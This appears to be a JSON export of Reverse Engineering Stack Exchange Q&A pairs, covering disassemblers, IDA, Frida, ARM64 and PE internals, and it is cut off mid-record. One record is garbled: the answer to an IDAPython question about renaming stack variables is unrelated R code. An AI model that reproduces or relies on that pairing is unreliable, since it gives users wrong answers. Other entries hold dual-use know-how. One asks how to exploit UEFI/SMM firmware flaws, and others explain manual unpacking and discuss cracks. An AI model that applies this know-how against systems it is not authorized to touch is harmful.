        "Body": "<p>I am trying to disassemble a binary using Capstone. I noticed that there are some instructions that cannot be disassembled, e.g. the <code>vshufi32x4</code> instruction:</p>\n<pre><code>from capstone import *\nfrom capstone.x86 import *\n\nmd = Cs(CS_ARCH_X86, CS_MODE_64)\nmd.detail = True\n\n#instruction_bytes = b'b\\x11\\r(\\xfe\\xf6'\n# The above instruction_bytes work as expected, the below print shows\n# 0x6: vpaddd ymm14 , ymm14, ymm30               62110d28fef6\n\ninstruction_bytes = b'b\\xf3}(C\\xe4\\x03'\n# Capstone has problem with the above instruction_bytes.\n# IDA Pro shows the instruction vshufi32x4 ymm4, ymm0, ymm4, 3\n\nprint(instruction_bytes.hex())  # '62f37d2843e403'\nfor c_i in md.disasm(instruction_bytes, len(instruction_bytes)):\n    print(hex(c_i.address) + &quot;:&quot;, c_i.mnemonic, c_i.op_str, &quot;\\t\\t\\t\\t&quot;, c_i.bytes.hex())\n</code></pre>\n<p>Other examples which cannot be disassembled by Capstone are <code>vpunpcklqdq</code> and <code>vprold</code></p>\n<p>What is so special about these instructions? How can I make Capstone disassemble them?</p>\n",
        "Title": "Capstone not disassembling vpunpcklqdq, vprold, and vshufi32x4",
        "Tags": "|ida|disassembly|disassemblers|x86-64|capstone|",
        "Answer": "<p>Reading through the issues in the Capstone repo, there seems to have been some problems/regressions with decoding AVX-512 instructions for the last couple of years:</p>\n<p><a href=\"https://github.com/capstone-engine/capstone/issues?q=is%3Aissue+avx\" rel=\"nofollow noreferrer\">https://github.com/capstone-engine/capstone/issues?q=is%3Aissue+avx</a></p>\n<p>You could try building capstone from <code>next</code> and see if that works:</p>\n<p><a href=\"https://github.com/capstone-engine/capstone/tree/next\" rel=\"nofollow noreferrer\">https://github.com/capstone-engine/capstone/tree/next</a></p>\n"
    },
    {
        "Id": "30592",
        "CreationDate": "2022-07-04T10:29:26.140",
        "Body": "<p>I have a mach-o binary and using <code>llvm-objdump</code> version 9 I can disassemble it.  I would like to disassemble only a single function though.</p>\n<p>If I display the symbol table with <code>--syms</code> I can see the function I would like to disassemble:</p>\n<pre><code>0000000100005a54 l     F __TEXT,__text -[ViewController isValidPin:]\n</code></pre>\n<p>however I cannot work out the proper command to do this.</p>\n<p>I have tried the following options which all just result in the usage being displayed and no indication what the issue is with the command:</p>\n<ul>\n<li><code>llvm-objdump-9 --dis-symname &quot;-[ViewController isValidPin:]&quot;</code></li>\n<li><code>llvm-objdump-9 --macho --dis-symname &quot;-[ViewController isValidPin:]&quot;</code></li>\n<li><code>llvm-objdump-9 --macho --dis-symname &quot;isValidPin&quot;</code></li>\n<li><code>llvm-objdump-9 --macho --dis-symname &quot;- isValidPin&quot;</code></li>\n<li><code>llvm-objdump-9 --macho --dis-symname &quot;- isValidPin:&quot;</code></li>\n<li><code>llvm-objdump-9 --macho --dis-symname &quot;-isValidPin:&quot;</code></li>\n</ul>\n<p>If I use <code>--disassemble-functions</code> with all of the above variations on the command name it just shows all the disassembly and not just <code>isValidPin</code>, including if I add the <code>--demangle</code> flag.</p>\n<p>If I try and do it using --start address, i.e.:</p>\n<pre><code>llvm-objdump-9 --macho --start-address=100005a54\n</code></pre>\n<p>or <code>0x100005a54</code> I get the following error:</p>\n<pre><code>llvm-objdump-9: for the   --start-address option: '100005a54' value invalid for ulong argument!\n</code></pre>\n<p>If I convert that to decimal instead it just shows the usage again. If I add a stop address as well it shows the usage regardless of whether that is in hex or dec.</p>\n<p>I came across <a href=\"https://stackoverflow.com/questions/58450076/how-can-i-make-objdump-disassemble-from-a-specified-start-address-on-macos-catal\">this</a> similar question however it is trying to do this on macOS and also the answer there is just suggesting what I have tried.</p>\n<p>The only other mention I can find of <code>llvm-objdump</code> on here is me answering another question.</p>\n<p>Googling just seems to lead me to different versions of the man page or discussion on commits to the source.</p>\n",
        "Title": "Disassemble specific mach-o function",
        "Tags": "|disassembly|objdump|mach-o|llvm|",
        "Answer": "<p>I just tested this on a sample binary using single quotes around the sym name:</p>\n<p><code>0000d2a0 l     F __TEXT,__text -[MasterViewController managedObjectContext]</code></p>\n<pre><code>$ llvm-objdump-9.0 -m -d --dis-symname '-[MasterViewController managedObjectContext]' MachO-iOS-armv7s-Helloworld \nMachO-iOS-armv7s-Helloworld:\n(__TEXT,__text) section\n-[MasterViewController managedObjectContext]:\n    d2a0:   82 b0   sub sp, #8\n    d2a2:   43 f6 2a 12 movw    r2, #14634\n    d2a6:   c0 f2 00 02 movt    r2, #0\n    d2aa:   7a 44   add r2, pc\n    d2ac:   01 90   str r0, [sp, #4]\n    d2ae:   00 91   str r1, [sp]\n    d2b0:   01 98   ldr r0, [sp, #4]\n    d2b2:   11 68   ldr r1, [r2]\n    d2b4:   08 44   add r0, r1\n    d2b6:   00 68   ldr r0, [r0]\n    d2b8:   02 b0   add sp, #8\n    d2ba:   70 47   bx  lr\n</code></pre>\n<p>Maybe single quotes are the missing piece.</p>\n"
    },
    {
        "Id": "30593",
        "CreationDate": "2022-07-04T12:04:30.150",
        "Body": "<p>I'd like to know how to change stdin multiple times for the given binary for debugging purposes.\nI know I can launch the application with</p>\n<pre><code>r2 -r profile.r2 -d binary\n</code></pre>\n<p>Where, inside the profile.r2 file I have</p>\n<pre><code>program=binary\nstdin=./path/to/some/file\n</code></pre>\n<p>But I'd like to know how, if at all possible, to switch stdin so that I can supply multiple different inputs during a <strong>single debugging session</strong></p>\n<p>Will I have to use <code>r2pipe</code> and its interface or is there a simpler way of achieving this in radare2?\nIf not possible in radare2, how would I go about doing this with <code>gdb</code>?</p>\n<p>Thanks for any help on this.</p>\n",
        "Title": "Radare2 - changing stdin during binary debugging",
        "Tags": "|debugging|radare2|",
        "Answer": "<p>You can use the <code>dd</code> command or the <code>:dd</code> one if using r2frida to change any filedescriptor at runtime.</p>\n"
    },
    {
        "Id": "30609",
        "CreationDate": "2022-07-09T03:06:44.523",
        "Body": "<p>I have a 845 g7 with a bios 1.06, which has a load of CVEs which allow SMM and DXE exploits:</p>\n<p><a href=\"https://support.hp.com/ca-en/drivers/selfservice/hp-elitebook-845-g7-notebook-pc/37506818\" rel=\"nofollow noreferrer\">https://support.hp.com/ca-en/drivers/selfservice/hp-elitebook-845-g7-notebook-pc/37506818</a> (under the UEFI bios versions &gt; 1.06).</p>\n<p>However, I have no real idea how to exploit these. I'm a programmer (C++), however mostly just corporate applications and data management. It would be great if someone could forward me to how to initiate SWSMI for example and how to actually push arbitrary code execution in the SMM, etc.</p>\n<p>I think I understand on a very high level what needs to be done:</p>\n<p>I think I'd have to start with a kernel level driver which writes to an io port to initiate an SMI, particularly SWSMI (0xb2) to initiate SMM? Which would also read from &quot;shell code&quot; which is written to registers that are inside the SWRAM.</p>\n<p>However, I'm trying to figure out even where to start. At the moment I'm looking into writing to ioports as a starter, which need to be kernel level drivers, such as here for example: <a href=\"https://github.com/tandasat/SmmExploit\" rel=\"nofollow noreferrer\">https://github.com/tandasat/SmmExploit</a>.</p>\n<p>There is the BRLY stuff which shows something that could be useful to someone who could understand it:</p>\n<p><a href=\"https://www.binarly.io/advisories/BRLY-2021-003/index.html\" rel=\"nofollow noreferrer\">https://www.binarly.io/advisories/BRLY-2021-003/index.html</a></p>\n<p>Ideas on some fun stuff like changing the motherboard serial number, etc.? The exploits give all the way down to -2 ring access.</p>\n<p>Thanks</p>\n",
        "Title": "Help starting with UEFI/SMM exploits",
        "Tags": "|disassembly|memory|buffer-overflow|uefi|",
        "Answer": "<p>OST has a couple of courses that should give you all the background information you need:</p>\n<p><a href=\"https://opensecuritytraining.info/IntroBIOS.html\" rel=\"nofollow noreferrer\">https://opensecuritytraining.info/IntroBIOS.html</a></p>\n<p>Now that Xeno has relaunched OST as OST2 there is also this one, but I'm not sure how much overlap/rebranding is in it:</p>\n<p><a href=\"https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Arch4001_x86-64_RVF+2021_v1/about\" rel=\"nofollow noreferrer\">https://p.ost2.fyi/courses/course-v1:OpenSecurityTraining2+Arch4001_x86-64_RVF+2021_v1/about</a></p>\n<p>N.B. I haven't taken either of these courses myself, but I've been through several others on OST and they were excellent, these are on my todo list</p>\n"
    },
    {
        "Id": "30622",
        "CreationDate": "2022-07-12T12:13:52.723",
        "Body": "<p>I am trying to write an IDAPython script that renames some local variables (in the disassembly window) according to some logic, unfortunately I am unable/failing to use the API to do so...</p>\n<p>In my searches I found that set_member_name should be used since the stack frame is treated like a structure from IDA's POV, but again the documentation is not clear about how I can name a variable in a certain stack frame (or any structure for that matter)...</p>\n<p>I will appreciate any help.</p>\n",
        "Title": "Renaming a local stack variable with IDAPython",
        "Tags": "|ida|idapython|stack-variables|idc|",
        "Answer": "<pre><code>    my_rename &lt;- function(df, varname) {\n  varname &lt;- ensym(varname)\n  \n  df %&gt;% \n    rename(!!varname := cyl) %&gt;% \n    group_by(!!varname) %&gt;%\n    summarize(mean_mpg = mean(mpg))\n}\n\nmy_rename(mtcars, cylinder)\n\n# A tibble: 3 x 2\n  cylinder mean_mpg\n     &lt;dbl&gt;    &lt;dbl&gt;\n1        4     26.7\n2        6     19.7\n3        8     15.1\n</code></pre>\n"
    },
    {
        "Id": "30623",
        "CreationDate": "2022-07-12T18:53:57.250",
        "Body": "<p>I actually have two choices : <strong>C</strong> or <strong>Python</strong> to create my application.\nOn my application users will need a key (on start) to access it, the key will be verified with an algorythm on the user's computer. I'm searching for the best language to make the reverse more difficult. I know it's impossible to make an application 100% protected againt this.\nWhen looking for Python protection I saw this <a href=\"https://reverseengineering.stackexchange.com/questions/22648/best-way-to-protect-source-code-of-exe-program-running-on-python\">question</a>, and so I'm wondering if <strong>C</strong> is better than <strong>Python</strong> for this kind of app.</p>\n",
        "Title": "Python or C for a Qt application and security against reverse engineering",
        "Tags": "|decompilation|c|python|obfuscation|qt|",
        "Answer": "<p>Code written in either language can be reversed, I think the bigger issue here is that the key checking is all performed locally. If someone can RE the algorithm, then they can create a keygen for anyone to use.</p>\n<p>I'd suggest that you create a web service to validate the keys, and don't expose the algorithm to reversing.</p>\n<p>The software could still have the key check disabled, and be distributed with a crack or pre-cracked. It's all about raising the bar high enough that no-one wants to bother spending the time breaking it.</p>\n<p>So definitely use obfuscation, packing, encryption, anything to make reversing more time consuming.</p>\n"
    },
    {
        "Id": "30631",
        "CreationDate": "2022-07-13T17:57:27.113",
        "Body": "<p>Right now, I'm using a combination of <code>gcc -g</code> and the <code>objdump -S</code> modes to generate assembly code with debug source code interleaved. However, I'm having trouble correlating some of the functions that were in the executable to their original source because the final executable contains source code from many different files. Is there a way to get a debug pure source representation (with no assembly) of all of the functions in an executable, using the gcc toolchain? That is, I'm looking for the source that was used for all of the functions in my executable, arranged in the order that the functions appear in the executable, so that I can compare that source to the <code>objdump -S</code> output (which I'm also comparing to Ghidra and Binary Ninja output).</p>\n<p>Thanks for your time in responding!</p>\n",
        "Title": "Output from gcc containing all included source code?",
        "Tags": "|linux|objdump|gcc|debug|",
        "Answer": "<p>I'm not aware of any way to do what you're asking (INAE), however you could try this to obtain readable source using objdump:</p>\n<pre><code>objdump -l --source-comment &lt;file&gt;.o | grep -e '^\\/' -e '^#'\n</code></pre>\n<p>This will include the filename and line number for each line of source while excluding the assembly.</p>\n"
    },
    {
        "Id": "30638",
        "CreationDate": "2022-07-14T20:41:46.740",
        "Body": "<p>I have a function with the pseudocode of</p>\n<pre><code>__int64 __fastcall sub_7FF7067A01F0(__int64 a1, __int64 a2, unsigned int a3)\n{\n  if ( qword_7FF709F91498 )\n    return (*(__int64 (__fastcall **)(ID2D1Geometry *, __int64, __int64, _QWORD))(*(_QWORD *)qword_7FF709F91498 + 24i64))(\n             qword_7FF709F91498,\n             a1,\n             a2,\n             a3);\n  else\n    return sub_7FF7067A0450(a1);\n}\n</code></pre>\n<p>Considering there don't appear to be any strings I could easily search for , would there been any other possible way to speed up the process of finding this in IDA without going through lots of functions (for example , anything IDA could search for or anything that could be quickly identified?</p>\n<p>Any assistance would be greatly appreciated. Thank you.</p>\n",
        "Title": "How to speed up finding a function from pseudocode in IDA?",
        "Tags": "|ida|c++|functions|",
        "Answer": "<p>There's little in that function that could serve as a signature. The function itself consists of a single if-else statement with a direct and indirect call. The direct call could possibly be inlined in different compilations, as could the function itself (unless it's only ever called via function pointer).</p>\n<p>The most distinguishing characteristic of this function is that it checks a global <code>QWORD</code> against <code>NULL</code>, and invokes its virtual function at <code>+0x18</code> (passing through arguments #0-#2 as arguments #1-3 to the indirect call). That's a reasonable pattern, but also not so easy to find using IDA's standard search interfaces (though perhaps easier to find with a Hex-Rays plugin), and moreover, is likely to have false positives if the program uses a similar pattern to implement other functionality.</p>\n<p>I'd say the best things to look at would be:</p>\n<ol>\n<li><code>sub_7FF7067A0450</code>. Does it have any better characteristics, such as: is it called within a few functions of a named export; does it have any unique strings, API calls, code sequences, etc., or do any of its nearby called/calling functions have any of those things?</li>\n<li>Callers of <code>sub_7FF7067A01F0</code> (same questions as above).</li>\n<li>Look for other references to <code>qword_7FF709F91498</code>. Presumably this pointer starts as <code>NULL</code>, and at least one location writes a non-<code>NULL</code> value to it. Is there anything unique about the location(s) that write to it? If so, you can find the write to <code>qword_7FF709F91498</code>, and then use cross-references to find the function in your question. I'd start with the writes before moving on to other locations that read from <code>qword_7FF709F91498</code>, though either could work.</li>\n<li>Since this is a global variable, maybe it's statically initialized by the runtime system prior to <code>main</code>? That could give you an easy way to find the constructor of this object, at which point, cross-references could help.</li>\n</ol>\n"
    },
    {
        "Id": "30644",
        "CreationDate": "2022-07-15T19:14:09.253",
        "Body": "<p>Given the opcode <code>80 3d 1d b0 09 00 00</code>.</p>\n<p>The corresponding capstone instruction is</p>\n<pre><code>&lt;CsInsn 0x66a4 [803d1db0090000]: cmp byte ptr [rip + 0x9b01d], 0&gt;\n</code></pre>\n<p>and has the following properties (<code>c_i</code> being the name of the instruction object)</p>\n<pre><code>c_i.disp: 0x9b01d\nc_i.disp_offset: 0x2\nc_i.disp_size 0x4\n</code></pre>\n<p>A different instruction</p>\n<p><code>&lt;CsInsn 0xd3de [66c705714309000000]: mov word ptr [rip + 0x94371], 0&gt;</code>\nhas:</p>\n<pre><code>c_i.disp:         0x94371\nc_i.disp_offset:  0x3\nc_i.disp_size:    0x2\n</code></pre>\n<p>The first two properties make sense to me. But why is the <code>disp_size</code> <code>0x2</code> and not <code>0x4</code>?</p>\n",
        "Title": "Displacement size (disp_size) of x86 instructions",
        "Tags": "|disassembly|assembly|x86|x86-64|capstone|",
        "Answer": "<p>This seems like a bug, there is an open issue in the Capstone repo that seems to fit: <a href=\"https://github.com/capstone-engine/capstone/issues/1640\" rel=\"nofollow noreferrer\">https://github.com/capstone-engine/capstone/issues/1640</a></p>\n"
    },
    {
        "Id": "30653",
        "CreationDate": "2022-07-18T09:11:01.043",
        "Body": "<p>I know that pointer to the security cookie in Load Configuration Directory is 4 bytes long for 32-bit exe and 8 bytes long for 64-bit one (<a href=\"https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#load-configuration-layout\" rel=\"nofollow noreferrer\">source</a>), but what is the size of the security cookie itself?</p>\n<p><strong>Edit:</strong> the accepted answer links to a long article, here's the quote from it:</p>\n<blockquote>\n<p>When /GS is specified, the compiler automatically links the object file built from <strong>gs_cookie.c</strong> source file. This file <strong>defines __security_cookie as a 64-bit or 32-bit global variable of the type uintptr_t on x64 and x86, respectively.</strong></p>\n</blockquote>\n<p>And since I can't find any official source for gs_cookie.c online here's the important part, which also shows the default values:</p>\n<pre><code>#ifdef _WIN64\n#define DEFAULT_SECURITY_COOKIE ((UINT_PTR)0x00002B992DDFA232)\n#else  /* _WIN64 */\n#define DEFAULT_SECURITY_COOKIE ((UINT_PTR)0xBB40E64E)\n#endif  /* _WIN64 */\n\nUINT_PTR __security_cookie = DEFAULT_SECURITY_COOKIE;\n</code></pre>\n<p>And just for completeness the documentation for <a href=\"https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsts/f959534d-51f2-4103-8fb5-812620efe49b\" rel=\"nofollow noreferrer\"><code>UINT_PTR</code></a> shows it's just <code>int</code> for 32-bit and <code>__int64</code> for 64-bit (both unsigned).</p>\n",
        "Title": "What is the size of a security cookie in PE file?",
        "Tags": "|pe|",
        "Answer": "<p>The cookie itself is the same size as a register, 64 bits or 32 bits.</p>\n<p>The global cookie is copied into a register then xor'ed with RBP/EBP and stored on the stack.</p>\n<p>When unwinding the frame the &quot;stack cookie&quot; is xor'ed against RBP/EBP again before being validated against the global cookie to ensure it hasn't been modified.</p>\n<p>Ref: <a href=\"https://docs.microsoft.com/en-us/archive/msdn-magazine/2017/december/c-visual-c-support-for-stack-based-buffer-protection\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/archive/msdn-magazine/2017/december/c-visual-c-support-for-stack-based-buffer-protection</a></p>\n"
    },
    {
        "Id": "30655",
        "CreationDate": "2022-07-19T08:29:40.723",
        "Body": "<p>I see many questions about how to import IDA DB into Ghidra but I interesting in the backside. I want to export Ghidra DB and import it into Ida PRO. How I can do that?</p>\n",
        "Title": "How to import Ghidra DB into IDA?",
        "Tags": "|ida|ghidra|",
        "Answer": "<p>There is the <code>$GHIDRA_ROOT/Extensions/IDAPro/Python/7xx/loaders/xml_loader.py</code> script for IDA that loads the XML file into IDA.\nTo create that XML file you need to use the <code>ghidra.app.util.exporter.XmlExporter</code> class.</p>\n"
    },
    {
        "Id": "30660",
        "CreationDate": "2022-07-19T18:27:51.680",
        "Body": "<p>I'm reverse engineering an ARM64 binary and I came across the following instruction</p>\n<pre><code>48 05 48 4A    eor w8, w10, w8, lsr #1\n</code></pre>\n<p>I looked up the definition of ARM64's <code>eor</code> instruction here: <a href=\"https://developer.arm.com/documentation/dui0473/m/arm-and-thumb-instructions/eor\" rel=\"nofollow noreferrer\">https://developer.arm.com/documentation/dui0473/m/arm-and-thumb-instructions/eor</a></p>\n<p>Unfortunately, the information in that documentation doesn't directly address the optional <code>lsr #1</code> part of the instruction.</p>\n<p>I understand this instruction would generally perform a Bitwise Exclusive OR between registers w10 and w8, storing the result in register w8. What I'm unsure about is the Logical Shift Right portion. Does this shift occur on the result of the EOR, or does it first shift one of the registers and then perform the EOR?</p>\n<p>Also, if anyone can recommend a good tool for testing this I would be appreciative.</p>\n<p>Thank you.</p>\n",
        "Title": "How Does ARM64 EOR with Shift Work?",
        "Tags": "|arm64|aarch64|",
        "Answer": "<p>It's the 2nd operand (i.e. <code>w8</code> in your example) that is shifted before the relevant calculation is done.</p>\n<p>You can see the explanation in the same document you linked to in the section <a href=\"https://developer.arm.com/documentation/dui0473/m/arm-and-thumb-instructions/syntax-of-operand2-as-a-register-with-optional-shift\" rel=\"noreferrer\">Syntax of Operand2 as a register with optional shift</a>.  This is pulled out separately in the documentation as this <code>Operand2</code> feature applies to multiple different instructions, not just <code>EOR</code>.</p>\n"
    },
    {
        "Id": "30668",
        "CreationDate": "2022-07-20T09:06:38.637",
        "Body": "<p>I am completely noob in reverse engineering, and I've just started to learn it.<br/>\nNow I have this question in my mind, that does a reverse engineer use any computer architecture knowledge for doing his/her work? I mean in any field (software/hardware RE).</p>\n",
        "Title": "Do I have to learn computer architecture for underestanding or doing reverse engineering?",
        "Tags": "|windows|assembly|x86|arm|mips|",
        "Answer": "<p>Generally speaking Reverse Engineering is the reverse of engineering, so instead of making a plan and building a product, you start with a product and try to reconstruct the plan that was used for it (or something as close to as you can get).</p>\n<p>So it's kind of a puzzle and your prior knowledge can make it easier or harder for you. I mean you can technically analyze a computer, knowing nothing about computers just having a bunch of tools and then  go for it. Idk you might first disassemble the housing, then you might identify components, simply the big stuff that wires go in and out from. Then you might label and identify wires and track which components are heavily interconnected or literally &quot;central&quot; to the system. Or which components are actively connected to a power cable and which receive their voltage passively. You might plug-in and out some of those components to find out which ones are crucial, which are auxiliary and which are optional. Then you might track which wires run a current or which voltage is applied to which components and how that changes over time and with interaction and so on.</p>\n<p>That way you probably learn rather intimate but also rather slow how things work within a computer. Though obviously it helps tremendously if you don't start from 0. If you already know what you're dealing with and can identify components and their functionality then that frees you up to analyze the stuff that you don't know. It also helps you to not break stuff irrepairably and it can make the black box a whole lot more transparent. In the sense that if you're aware of the moving parts, a whole new set of inputs and outputs of the system and thereby a whole different angle of attack might reveal itself to you.</p>\n<p>So whether it's particularly useful to your problem depends on the problem, but in general any prior knowledge about a system that you can acquire is probably suitable to make it easier for you.</p>\n"
    },
    {
        "Id": "30694",
        "CreationDate": "2022-07-24T17:23:21.043",
        "Body": "<p>im trying to hook the C6494a method has 2 parameters the ge6 object and a activity object whenever i try to hook this method with a hook overload that contains both ge6 and the activity object frida throws a error saying the overload is incorrect (view image2)</p>\n<p><img src=\"https://user-images.githubusercontent.com/17355461/180567349-e3f8e1dc-5be9-4a48-b761-8a1b28dc6861.png\" alt=\"image1\" /></p>\n<p>this is the hook im using to hook the constructor</p>\n<pre><code>Java.use(&quot;com.ge6$a&quot;).$init.overload('com.ge6', 'android.app.Activity').implementation = function(a, b){\n    }\n</code></pre>\n<p>and this is the error frida throws when using the above hook</p>\n<pre><code>Error: ge6$a(): specified argument types do not match any of:\n        .overload('android.app.Activity')\n    at X (frida/node_modules/frida-java-bridge/lib/class-factory.js:569)\n    at value (frida/node_modules/frida-java-bridge/lib/class-factory.js:899)\n    at &lt;anonymous&gt; (/frida/repl-2.js:76)\n    at &lt;anonymous&gt; (frida/node_modules/frida-java-bridge/lib/vm.js:12)\n    at _performPendingVmOps (frida/node_modules/frida-java-bridge/index.js:250)\n    at &lt;anonymous&gt; (frida/node_modules/frida-java-bridge/index.js:242)\n    at apply (native)\n    at ne (frida/node_modules/frida-java-bridge/lib/class-factory.js:620)\n    at &lt;anonymous&gt; (frida/node_modules/frida-java-bridge/lib/class-factory.js:598)\n</code></pre>\n<p>and even if i set the overload without the ge6 object</p>\n<pre><code>Java.use(&quot;com.ge6$a&quot;).$init.overload('android.app.Activity').implementation = function(a){\n    }\n</code></pre>\n<p>frida throws this error instead</p>\n<pre><code>Error: Cast from 'com.ge6' to 'android.app.Activity' isn't possible\n    at cast (frida/node_modules/frida-java-bridge/lib/class-factory.js:131)\n    at fromJni (/_java.js)\n    at ne (frida/node_modules/frida-java-bridge/lib/class-factory.js:617)\n    at &lt;anonymous&gt; (frida/node_modules/frida-java-bridge/lib/class-factory.js:598)\n</code></pre>\n<p>also trying to create a new object of this subclass throws this issue instead</p>\n<pre><code>Process crashed: Trace/BPT trap\n\n***\n*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***\nBuild fingerprint: 'google/sdk_gphone_x86_arm/generic_x86_arm:11/RSR1.201013.001/6903271:userdebug/dev-keys'\nRevision: '0'\nABI: 'x86'\nTimestamp: 2022-07-24 18:37:32+0100\npid: 15013, tid: 15013, name: nalds.mobileapp  &gt;&gt;&gt; com.mcdonalds.mobileapp &lt;&lt;&lt;\nuid: 10153\nsignal 6 (SIGABRT), code -1 (SI_QUEUE), fault addr --------\nAbort message: 'JNI DETECTED ERROR IN APPLICATION: use of invalid jobject 0xffaadb28\n    from void com.ge6.a(android.app.Activity, com.ge6$b)'\n    eax 00000000  ebx 00003aa5  ecx 00003aa5  edx 00000006\n    edi f005e81e  esi ffaad310\n    ebp f237ab90  esp ffaad2b8  eip f237ab99\nbacktrace:\n      #00 pc 00000b99  [vdso] (__kernel_vsyscall+9)\n      #01 pc 0005ad68  /apex/com.android.runtime/lib/bionic/libc.so!libc.so (offset 0x59000) (syscall+40) (BuildId: 6e3a0180fa6637b68c0d181c343e6806)\n      #02 pc 00076511  /apex/com.android.runtime/lib/bionic/libc.so!libc.so (offset 0x75000) (abort+209) (BuildId: 6e3a0180fa6637b68c0d181c343e6806)\n      #03 pc 0000040e  &lt;anonymous:e3a29000&gt;\n***\n</code></pre>\n",
        "Title": "frida returning wrong overload of android method",
        "Tags": "|android|java|frida|",
        "Answer": "<p>as embarrassing as this is turns out the installed version of the app on the emulator is slightly older than the one i decompiled with jadx-gui installing the same version fixed this</p>\n"
    },
    {
        "Id": "30703",
        "CreationDate": "2022-07-25T20:38:47.050",
        "Body": "<p>I am working on getting better with concepts of unpacking manually to get more clarity on understanding packing routines and decryption logic, so I am trying a few tutorials on PESpin! Previously I worked with UPX &amp; ASPack, any tutorials apart from <img src=\"https://www.reversing.be/article.php?story=20050726211417143\" alt=\"this\" />, will be appreciated, not looking for shortcuts like <strong>set a breakpoint, then jmp, then dump kind of stuffs</strong> . Thank you for reading this.</p>\n",
        "Title": "Trying to learn more about unpacking",
        "Tags": "|x64dbg|unpacking|",
        "Answer": "<p>You don't need to care about the decrypting routine because a single packed binary can contain many decrypting routines and to analyse every single one of them is time consuming. So you need to utilise the fact that a packed program is packed not from source code but from a compiled binary which mean one way or the other, the decryption routine has to decrypt to some original binary and jump to it to execute.</p>\n<p>There are two step in an unpacking process. The first is to find the Original Entry Point (OEP) of the program and the second is try to recover lost data (iat, steal entrypoint).</p>\n<p>To find the OEP you can relies on these informations:</p>\n<ul>\n<li>To jump to the OEP the program need to do a long jump (about 0x100 bytes difference) or a section jump after a decryption routine.</li>\n<li>Because every program need to have a startup routine so if you can find when the startup routine get execute then you can find a candidate for OEP.</li>\n</ul>\n<p>After you have found the OEP, you will need to recover obfuscated part of the packed binary (like IAT, stolen OEP, ...). Here is a hint for the IAT, you can trace where the obfuscated function which call the api and then build your own IAT and replace those call with the IAT call. And after that you can dump the binary and run it normally.</p>\n<p>This is just a tip of the iceberg, each protector has it own unique way to pack and unpack, each version of the protector also has a new way too. So this is just a general tutorial but with each packed binary you have to adapt to the technique it use because there is no universal way to unpack a binary and it is mathematically proven to be true (check appendix of this paper: <a href=\"https://www.acsac.org/2006/papers/122.pdf\" rel=\"nofollow noreferrer\">https://www.acsac.org/2006/papers/122.pdf</a>).</p>\n"
    },
    {
        "Id": "30714",
        "CreationDate": "2022-07-31T12:03:35.760",
        "Body": "<ul>\n<li><p>I have a <a href=\"https://www.mediafire.com/file/fkbsc7a9t1ymotk/grfs_rpcs3_lan_windows_packet_capture_3.pcapng/file\" rel=\"nofollow noreferrer\">PCAP file</a> (mediafire link to the file) which basically represents packet captures between 2 machines running the same game connected to each other via LAN inside RPCS3 using RPCN.</p>\n</li>\n<li><p>One of them has the inet address 192.168.0.104 and the other one is 192.168.0.100.</p>\n</li>\n<li><p>Many UDP packets are being transmitted between both which I believe is the game data.</p>\n</li>\n<li><p>If you filter the packets by &quot;tls&quot; there are 2 TLS handshakes of which I have been able to decrypt the first one using session keys.</p>\n</li>\n<li><p>It has data related to RPCS3 connection.</p>\n</li>\n<li><p>My question is that <strong>are the UDP packets encrypted with the keys generated in the 2nd handshake or are they using some custom encryption</strong> that the game itself manages in its code?</p>\n</li>\n<li><p>The second SSL handshake mostly(90% sure) represents the act of logging into the RPCN network inside RPCS3.</p>\n</li>\n<li><p>How come there are no SSL handshakes between the 2 LAN machines?</p>\n</li>\n</ul>\n",
        "Title": "Identifying the source of encryption used by UDP packets in a PCAP file",
        "Tags": "|encryption|protocol|networking|wireshark|packet|",
        "Answer": "<p>To your first question, you'd have to look at the code. There may be encryption, but some of the UDP packets have very small payloads, and using encryption would slow down packet processing which is the opposite of the key purpose for using UDP.. which is speed.</p>\n<p>For your second question, the LAN game is using UDP, and TLS needs TCP. If you think about the use case.. TLS/SSL is to verify that at least one end of the connection is who it says it is. If you're on the LAN, you don't know who is who (no DNS) and you don't care.. TLS makes no sense in this case.</p>\n<p>I think you're correct that the TLS connections are being used during user authN to the game servers. However, given that the session keys negotiated between 192.168.0.104 &lt;--&gt; game server are used to secure <em>only</em> communication between those 2 hosts, they would not be used between 192.168.0.104 &lt;--&gt; 192.168.0.100 on the LAN as they provide no value. They do not identify either host, and they slow down game performance.</p>\n<p>This is a little wordy but I hope it helps.</p>\n"
    },
    {
        "Id": "30730",
        "CreationDate": "2022-08-03T07:08:04.860",
        "Body": "<p>I am trying to modify cfunc AST from</p>\n<pre><code>If (a1 &amp;&amp; some_func_ptr) {\n  some_func_ptr();\n}\n</code></pre>\n<p>To</p>\n<pre><code>if (a1) {\n  some_func_ptr();\n}\n</code></pre>\n<p>But I constantly get INTERR 50683 error. I tried</p>\n<pre><code>new_item = idaapi.cexpr_t(item.cif.expr.x)\nitem.cif.expr.swap(new_item)\n</code></pre>\n<p>Also many other attempts to modify other parts of AST fail in the same way. I suspect that it has something to do with thisown flag, but various changes did nothing.</p>\n",
        "Title": "Decompilation output modification in IDA Pro",
        "Tags": "|ida|decompilation|hexrays|",
        "Answer": "<p>The 50683 INTERR means address is invalid. There is a check applied by verifier (<strong>\\IDAFolder\\plugins\\hexrays_sdk\\verifier\\cverify.cpp</strong>) in <strong>cfunc_t::verify_insn</strong> function:</p>\n<pre><code>case cit_if:\n  if ( maturity &lt; CMAT_TRANS1 || maturity &gt;= CMAT_CASTED )\n  {\n    ea_t jea = i-&gt;cif-&gt;expr.calc_jmp_cnd_ea();\n    if ( jea != BADADDR &amp;&amp; i-&gt;ea != jea )\n      // ctree: mismatch in if-statement and its expression addresses\n      CFAIL_QASSERT(50683, i);\n  }\n</code></pre>\n<p>There are also many other INTERRs for decompilation in case anyone is looking. So, the correct code in my case had to have something like this:</p>\n<pre><code>new_item = idaapi.cexpr_t(item.cif.expr.x)\nnew_item.ea = item.cif.expr.ea\n# or just new_item.ea = idaapi.BADADDR it works too\nitem.cif.expr.swap(new_item)\n</code></pre>\n"
    },
    {
        "Id": "30732",
        "CreationDate": "2022-08-04T04:41:24.663",
